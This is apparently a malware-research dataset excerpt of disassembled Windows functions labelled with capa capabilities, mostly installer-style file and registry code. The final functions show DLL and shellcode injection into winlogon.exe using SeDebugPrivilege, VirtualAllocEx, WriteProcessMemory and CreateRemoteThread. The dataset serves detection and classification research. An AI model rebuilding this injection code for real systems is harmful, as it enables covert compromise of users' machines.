joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40141e
Capabilities:
Delete registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x110
lea eax, [esp]
push ebp
push esi
mov esi, dword [esp + 0x124]
push edi
mov edi, dword [esp + 0x128]
and esi, 0x300
push eax
mov eax, esi
and edi, 1
or eax, 9
push eax
push dword [esp + 0x12c]
push dword [esp + 0x12c]
call fcn.00405f9e
test eax, eax
jne 0x401527
xor ebp, ebp
test byte [esp + 0x128], 2
je 0x401493
push ebp
push ebp
push ebp
push ebp
lea eax, [esp + 0x20]
mov dword [esp + 0x20], ebp
push eax
lea eax, [esp + 0x28]
push eax
push ebp
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp eax, 0x103
jne 0x401503
push 0x105
lea eax, [esp + 0x18]
push eax
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
jmp 0x4014ce
test edi, edi
jne 0x401503
push dword [esp + 0x128]
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call fcn.0040141e
test eax, eax
jne 0x4014d8
push 0x105
lea eax, [esp + 0x18]
push eax
push edi
push dword [esp + 0x18]
call ebp
test eax, eax
je 0x4014a6
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.00406539
test eax, eax
jne 0x401514
push dword [esp + 0x124]
push dword [esp + 0x124]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x401527
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x3eb
jmp 0x401527
push 0
push esi
push dword [esp + 0x12c]
push dword [esp + 0x12c]
call eax
pop edi
pop esi
pop ebp
add esp, 0x110
ret 0xc
Function at 0x402f57
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x50
mov ecx, dword [esp + 0x54]
mov eax, 0x4175a0
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x6c]
mov ebx, 0x8000
test edi, edi
cmovne ebx, dword [esp + 0x70]
xor esi, esi
test edi, edi
cmovne eax, edi
mov dword [esp + 0x10], eax
test ecx, ecx
js 0x402f93
mov eax, dword [0x424438]
add eax, ecx
push eax
call fcn.00402f40
push 4
lea eax, [esp + 0x70]
push eax
push dword [0x40a010]
call fcn.0040659b
test eax, eax
je 0x40314e
mov eax, dword [esp + 0x6c]
test eax, eax
jns 0x4030f6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x40b518
mov dword [esp + 0x70], eax
call fcn.00407856
mov eax, dword [esp + 0x6c]
and eax, 0x7fffffff
mov ecx, eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x6c], ecx
jbe 0x4030ee
mov ebp, 0x4000
cmp ecx, ebp
cmovl ebp, ecx
push ebp
push 0x4135a0
call fcn.00402f2a
test eax, eax
je 0x40314e
sub dword [esp + 0x6c], ebp
mov dword [0x40b534], ebp
mov ebp, dword [esp + 0x10]
mov dword [0x40b530], 0x4135a0
mov ecx, 0x40b518
mov dword [0x40b538], ebp
mov dword [0x40b53c], ebx
call fcn.00406a8a
mov dword [esp + 0x1c], eax
test eax, eax
js 0x4030f2
mov eax, dword [0x40b538]
sub eax, ebp
mov dword [esp + 0x64], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test byte [0x4244d4], 1
mov ecx, dword [esp + 0x6c]
mov dword [esp + 0x18], eax
je 0x4030aa
sub eax, dword [esp + 0x70]
cmp eax, 0xc8
ja 0x40306e
test ecx, ecx
jne 0x4030aa
mov eax, dword [esp + 0x14]
push eax
push 0x64
sub eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [esp + 0x24]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x20]
push eax
push 0
call fcn.004059ed
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x6c]
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x64]
test eax, eax
je 0x4030e6
test edi, edi
jne 0x4030cb
push eax
push ebp
push dword [esp + 0x70]
call fcn.0040665a
test eax, eax
je 0x403136
mov eax, dword [esp + 0x64]
jmp 0x4030d7
mov ebp, dword [0x40b538]
sub ebx, eax
mov dword [esp + 0x10], ebp
add esi, eax
cmp dword [esp + 0x1c], 1
jne 0x40301b
jmp 0x4030ee
test ecx, ecx
jg 0x402fe6
mov eax, esi
jmp 0x403151
push 0xfffffffffffffffc
jmp 0x403150
test edi, edi
jne 0x40313a
test eax, eax
jle 0x4030ee
mov ebp, 0x4135a0
cmp eax, ebx
mov edi, ebx
cmovl edi, eax
push edi
push ebp
call fcn.00402f2a
test eax, eax
je 0x40314e
push edi
push ebp
push dword [esp + 0x70]
call fcn.0040665a
test eax, eax
je 0x403136
mov eax, dword [esp + 0x6c]
add esi, edi
sub eax, edi
mov dword [esp + 0x6c], eax
test eax, eax
jg 0x403103
jmp 0x4030ee
push 0xfffffffffffffffe
jmp 0x403150
mov esi, dword [esp + 0x70]
cmp eax, esi
cmovl esi, eax
push esi
push edi
call fcn.00402f2a
test eax, eax
jne 0x4030ee
push 0xfffffffffffffffd
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x50
ret 0x10
Function at 0x40315b
Capabilities:
Hide graphical window

Disassembly:
cmp dword [esp + 4], 0
je 0x40317a
mov eax, dword [0x40b510]
test eax, eax
je 0x403172
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
and dword [0x40b510], 0
ret
cmp dword [0x40b510], 0
je 0x40318b
push 0
call fcn.00405f0b
ret
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [0x4243e0]
jbe 0x4031be
push 0
push 0x403421
push 0
push 0x6f
push dword [0x423bd4]
call dword [sym.imp.USER32.dll_CreateDialogParamA]
push 5
push eax
mov dword [0x40b510], eax
call dword [sym.imp.USER32.dll_ShowWindow]
ret
Function at 0x405b15
Capabilities:
Create directory

Disassembly:
push esi
xor esi, esi
push esi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x405b2f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, esi
pop esi
ret 4

Function at 0x405b35
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
push 4
pop eax
mov word [ebp - 0x1e], ax
mov eax, 0x408550
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
mov word [ebp - 0x20], 1
mov dword [ebp - 0x10], 0x408540
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x405ba3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405bad
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityA]
test eax, eax
je 0x405ba7
xor eax, eax
jmp 0x405bad
call dword [sym.imp.KERNEL32.dll_GetLastError]
leave
ret 4
Function at 0x405e9e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
lea eax, [ebp - 0x120]
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
ja 0x405ed8
test eax, eax
je 0x405ed8
lea eax, [ebp + eax - 0x120]
cmp byte [eax - 1], 0x5c
je 0x405ede
mov ecx, 0x4082a0
jmp 0x405ee3
lea eax, [ebp - 0x120]
mov ecx, 0x4082a1
push dword [ebp + 8]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x405f39
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x405f5c
push dword [esp + 8]
push dword [esp + 8]
call fcn.00405fcc
pop ecx
pop ecx
inc dword [0x4244b0]
ret 8

Function at 0x405fcc
Capabilities:
Get file size

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
mov ebx, 0x400
mov dword [0x422a28], 0x4c554e
mov ebp, 0x422a28
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test esi, esi
je 0x406018
push 1
push 0
push esi
call fcn.0040656e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebp
push esi
call edi
test eax, eax
je 0x4060f8
cmp eax, ebx
jg 0x4060f8
push ebx
mov esi, 0x422628
push esi
push dword [esp + 0x1c]
call edi
test eax, eax
je 0x4060f8
cmp eax, ebx
jg 0x4060f8
push esi
push ebp
push str._s_s_r_n
push 0x422228
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [0x4243f0]
add esp, 0x10
mov ebp, eax
push dword [ecx + 0x128]
push esi
call fcn.00405bb1
push 4
push 0xc0000000
push esi
call fcn.0040656e
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4060f8
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea ecx, [ebp + 0xa]
add ecx, esi
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
test edi, edi
je 0x4060f1
push esi
push edi
push ebx
call fcn.0040659b
test eax, eax
je 0x4060f1
push str._Rename__r_n
push edi
call fcn.0040677a
test eax, eax
jne 0x4060fd
push str._Rename__r_n
lea eax, [edi + esi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esi, 0xa
mov ecx, esi
push ebp
push 0x422228
lea eax, [ecx + edi]
push eax
call fcn.004062ec
xor eax, eax
push eax
push eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esi + ebp]
push eax
push edi
push ebx
call fcn.0040665a
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret
push 0x408714
add eax, 0xa
push eax
call fcn.0040677a
mov ecx, eax
test ecx, ecx
je 0x4060c2
lea edx, [edi + esi]
jmp 0x40611c
mov al, byte [edx]
mov byte [edx + ebp], al
dec edx
cmp edx, ecx
ja 0x406116
sub ecx, edi
inc ecx
jmp 0x4060c4
Function at 0x4061c7
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 8]
call fcn.004067e1
mov edi, eax
cmp edi, 0xffffffff
je 0x40620a
test byte [ebp + 0xc], 1
push dword [ebp + 8]
je 0x4061eb
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x4061f1
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x4061fa
xor eax, eax
inc eax
jmp 0x40620c
test byte [ebp + 0xc], 4
jne 0x40620a
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
pop edi
pop ebp
ret 8

Function at 0x406275
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push dword [esp + 0xc]
mov ebx, 0x421e28
push ebx
call fcn.0040675e
push ebx
call fcn.00406809
mov esi, eax
test esi, esi
je 0x4062e5
push esi
call fcn.00406941
test byte [0x4243ec], 0x80
je 0x4062ab
mov al, byte [esi]
test al, al
je 0x4062e5
cmp al, 0x5c
je 0x4062e5
sub esi, ebx
jmp 0x4062c3
call fcn.00406211
test eax, eax
je 0x4062bd
test byte [eax], 0x10
je 0x4062e5
push ebx
call fcn.00406916
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
cmp eax, esi
jg 0x4062af
call fcn.0040619a
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4062e5
xor eax, eax
inc eax
jmp 0x4062e7
xor eax, eax
pop esi
pop ebx
ret 4

Function at 0x40630e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x4219e0], 0x44
lea eax, [ebp - 0x10]
push eax
push 0x4219e0
xor eax, eax
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40634d
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4
Function at 0x406351
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x150
push ebx
mov ebx, dword [esp + 0x15c]
push esi
mov esi, dword [esp + 0x15c]
push edi
mov edi, ebx
push esi
and edi, 4
call fcn.00406275
mov dword [esp + 0x18], eax
test bl, 8
je 0x406393
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x4244a8], eax
jmp 0x40652d
push ebp
mov ebp, ebx
and ebp, 1
mov dword [esp + 0x18], ebp
je 0x4063b0
test eax, eax
je 0x40651c
test bl, 2
je 0x4064e6
push esi
push 0x421a28
call fcn.0040675e
test ebp, ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
je 0x4063d3
push str..
push 0x421a28
call ebp
jmp 0x4063d9
push esi
call fcn.00406916
cmp byte [esi], 0
jne 0x4063e7
cmp byte [0x421a28], 0x5c
jne 0x4063ef
push 0x4082a0
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [esi + eax]
lea eax, [esp + 0x20]
mov dword [esp + 0x10], ebp
push eax
push 0x421a28
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x4064d4
lea ebp, [esp + 0x4c]
push 0x3f
mov eax, ebp
push eax
call fcn.00406238
cmp byte [eax], 0
je 0x406441
cmp byte [esp + 0x150], 0
lea eax, [esp + 0x150]
cmove eax, ebp
mov ebp, eax
cmp byte [ebp], 0x2e
jne 0x406458
mov al, byte [ebp + 1]
test al, al
je 0x4064af
cmp al, 0x2e
jne 0x406458
cmp byte [ebp + 2], 0
je 0x4064af
push ebp
mov ebp, dword [esp + 0x14]
push ebp
call fcn.0040675e
test byte [esp + 0x20], 0x10
je 0x40647c
mov eax, ebx
and eax, 3
cmp al, 3
jne 0x4064b3
push ebx
push esi
call fcn.00406351
jmp 0x4064b3
push edi
push esi
call fcn.004061c7
test eax, eax
jne 0x4064a5
test edi, edi
je 0x40649d
push esi
push 0xfffffffffffffff1
call fcn.004059ed
push 0
push esi
call fcn.00405f39
jmp 0x4064b3
inc dword [0x4244a8]
jmp 0x4064b3
push esi
push 0xfffffffffffffff2
call fcn.004059ed
jmp 0x4064b3
mov ebp, dword [esp + 0x10]
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40641a
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [esp + 0x18], 0
je 0x40652c
cmp dword [esp + 0x1c], 0
mov byte [ebp - 1], 0
je 0x40651c
push esi
call fcn.00406211
test eax, eax
je 0x40652c
push esi
call fcn.0040619a
mov eax, edi
or eax, 1
push eax
push esi
call fcn.004061c7
test eax, eax
jne 0x406524
test edi, edi
je 0x40651c
push esi
push 0xfffffffffffffff1
call fcn.004059ed
push 0
push esi
call fcn.00405f39
jmp 0x40652c
inc dword [0x4244a8]
jmp 0x40652c
push esi
push 0xffffffffffffffe5
call fcn.004059ed
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x150
ret 8

Function at 0x40656e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
push 0
cmove eax, ecx
push eax
push dword [esp + 0x14]
push ecx
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc
Function at 0x4065ca
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405f9e
mov edi, dword [ebp + 0x14]
test eax, eax
jne 0x40663a
push esi
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp + 0x18]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
mov byte [edi + 0x3ff], 0
pop esi
jne 0x40663a
cmp dword [ebp + 0x18], 1
je 0x40663d
cmp dword [ebp + 0x18], 2
je 0x40663d
mov byte [edi], 0
pop edi
leave
ret 0x14

Function at 0x406642
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
ret 4

Function at 0x4066a5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
pop ecx
xor edx, edx
div ecx
push esi
add byte [ebp + 0xa], dl
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x4066e4
test edi, edi
jne 0x4066b0
mov byte [esi], al
jmp 0x4066e6
mov eax, esi
pop edi
pop esi
pop ebp
ret 8

Function at 0x4067e1
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
cmp esi, 0xffffffff
je 0x406803
mov ecx, esi
and ecx, 0xfffffffe
push ecx
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
pop esi
ret 4

Function at 0x406a1e
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422f6c], 0
push esi
jne 0x406a58
xor ecx, ecx
push 8
mov edx, ecx
pop esi
mov eax, edx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
sub esi, 1
jne 0x406a2f
mov dword [ecx*4 + 0x422f68], edx
inc ecx
cmp ecx, 0x100
jl 0x406a2a
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
not ecx
test edx, edx
je 0x406a82
mov esi, dword [esp + 0xc]
movzx eax, byte [esi]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x422f68]
inc esi
sub edx, 1
jne 0x406a6a
not ecx
mov eax, ecx
pop esi
ret 0xc
Function at 0x401070
Capabilities:
Enumerate processes

Disassembly:
push 0xffffffffffffffff
push 0x40d916
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x134
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x20]
push ebx
push 2
rep stosd dword es:[edi], eax
mov dword [esp + 0x20], 0xffffffff
mov dword [esp + 0x24], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 0x1c]
push eax
push edi
call sub.KERNEL32.dll_Process32First
cmp eax, ebx
je 0x40118e
mov ebp, dword [esp + 0x154]
lea ecx, [esp + 0x40]
push ecx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_1
push ebp
lea ecx, [esp + 0x18]
mov dword [esp + 0x150], ebx
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x10]
mov byte [esp + 0x14c], 1
call sub.MFC42.DLL_CString::MakeLower
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::MakeLower
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push edx
call sub.MFC42.DLL_CString::Find
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
cmp eax, ebx
jne 0x401162
lea edx, [esp + 0x1c]
push edx
push edi
call sub.KERNEL32.dll_Process32Next
lea ecx, [esp + 0x14]
mov esi, eax
mov byte [esp + 0x14c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov dword [esp + 0x14c], 0xffffffff
call sub.MFC42.DLL_CString::CString
cmp esi, ebx
jne 0x4010d2
jmp 0x40118e
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x14]
mov dword [esp + 0x18], eax
mov byte [esp + 0x14c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov dword [esp + 0x14c], 0xffffffff
call sub.MFC42.DLL_CString::CString
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 0x10]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x140
ret 4
Function at 0x401290
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject dll
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebx, ecx
push str.Kernel32.dll
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebp, eax
cmp ebp, edi
jne 0x4012c4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x414
ret
push 1
push str.SeDebugPrivilege
call fcn.004011c0
push str.winlogon.exe
call fcn.00401070
push eax
push edi
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, edi
jne 0x4012fa
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x414
ret
push 4
push 0x1000
push 0x40c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp eax, edi
mov dword [ebx + 4], eax
jne 0x401329
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x414
ret
mov ecx, 0x103
xor eax, eax
lea edi, [esp + 0x18]
push str.LoadLibraryA
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebp
call edi
push str.FreeLibrary
push ebp
mov dword [esp + 0x20], eax
call edi
push str.GetModuleHandleA
push ebp
mov dword [esp + 0x24], eax
call edi
mov dword [esp + 0x20], eax
mov eax, dword [0x413794]
add eax, 0x1738
lea ecx, [esp + 0x24]
push eax
push str._sJVSCAD.dll
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, dword [ebx + 4]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x18]
push edx
push 0x40c
push eax
push ecx
push esi
call ebp
push 0x40
push 0x1000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x4013dd
mov edx, dword [ebx + 4]
push 0x8000
push eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
mov dword [ebx + 4], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x414
ret
lea eax, [esp + 0x10]
push eax
push 0x1000
push 0x401040
push edi
push esi
call ebp
mov edx, dword [ebx + 4]
lea ecx, [esp + 0x14]
push ecx
push 0
push edx
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0
push str.SeDebugPrivilege
call fcn.004011c0
push esi
call ebx
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x414
ret
Function at 0x401450
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, ecx
xor ebx, ebx
push esi
push edi
mov eax, dword [ebp + 4]
mov dword [esp + 0x18], ebx
cmp eax, ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
jne 0x401478
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
push str.Winlogon.exe
call fcn.00401070
push 1
push str.SeDebugPrivilege
mov esi, eax
call fcn.004011c0
push esi
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
jne 0x4014b8
push ebx
push str.SeDebugPrivilege
call fcn.004011c0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
push 0x40
push 0x1000
push 0x1000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
cmp edi, ebx
jne 0x4014ee
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push str.SeDebugPrivilege
call fcn.004011c0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
lea eax, [esp + 0x14]
push eax
push 0x1000
push 0x401050
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp + 4]
lea ecx, [esp + 0x18]
push ecx
push ebx
push edx
push edi
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
jne 0x401549
push 0x8000
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push str.SeDebugPrivilege
call fcn.004011c0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x401597
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call ebx
push 0
push str.SeDebugPrivilege
call fcn.004011c0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
mov eax, dword [ebp + 4]
test eax, eax
je 0x4015b4
push 0x8000
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [ebp + 4], 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call ebx
push 0
push str.SeDebugPrivilege
call fcn.004011c0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xc
ret